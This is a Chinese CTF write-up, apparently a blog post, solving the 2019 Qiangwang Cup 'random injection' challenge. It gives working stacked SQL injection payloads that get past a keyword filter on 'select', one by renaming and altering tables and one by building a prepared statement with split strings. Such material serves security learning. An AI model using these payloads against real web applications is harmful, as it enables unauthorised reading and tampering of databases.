首页 > 技术文章 > [强网杯 2019]随便注

sfsec 2021-08-29 21:11 原文

随便注,初步判断是有注入点的,那我们进入题目

提交一个1试一试

再在1的后面加个单引号试一试

报错了,然后我们判断有几个字段。

回车后正常,但是换成3后就报错了,所以有两个字段。

当我想用联合查询查询用户和数据库的时候

爆出一段正则表达式,发现过滤掉了图中的关键字。然后我寻找绕过点,发现了堆叠注入。

查询表

查询字段

发现flag,然后我们想办法读取flag值。因为select被正则表达式给过滤掉了,所以这里我们就要想一点骚姿势了。

方法一、重命名表名、字段名

我们发现利用 or 可以把表中所有数据查询出来,但是查的不是flag所在表。

 

 

 因为上面已经知道flag在'1919810931114514'表里面且根据显示的内容判断,sql语句为selsect id,data from words where id =

 

 

因为可以堆叠查询,这时候就想到了一个改名的方法,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id,结合上面的1' or 1=1#爆出表所有内容就可以查flag啦

payload:

0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#

 

 

再用一下一开始的操作id=1' or 1=1#

 

 

方法二、预编译绕过

 

PREPARE name from '[my sql sequece]'; //预定义SQL语句

EXECUTE name; //执行预定义SQL语句

(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL 语句

 

预定义语句也可以通过变量进行传递:

SET @tn = 'hahaha'; //存储表名

SET @sql = concat('select * from ', @tn); //存储SQL语句

PREPARE name from @sql; //预定义SQL语句

EXECUTE name; //执行预定义SQL语句

(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句

 

本题即可利用 char() 函数将select的ASCII码转换为select字符串,接着利用concat()函数进行拼接得到select查询语句,从而绕过过滤。或者直接用concat()函数拼接select来绕过。

char(115,101,108,101,99,116)<----->'select'

 

payload  

-1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#

 

推荐阅读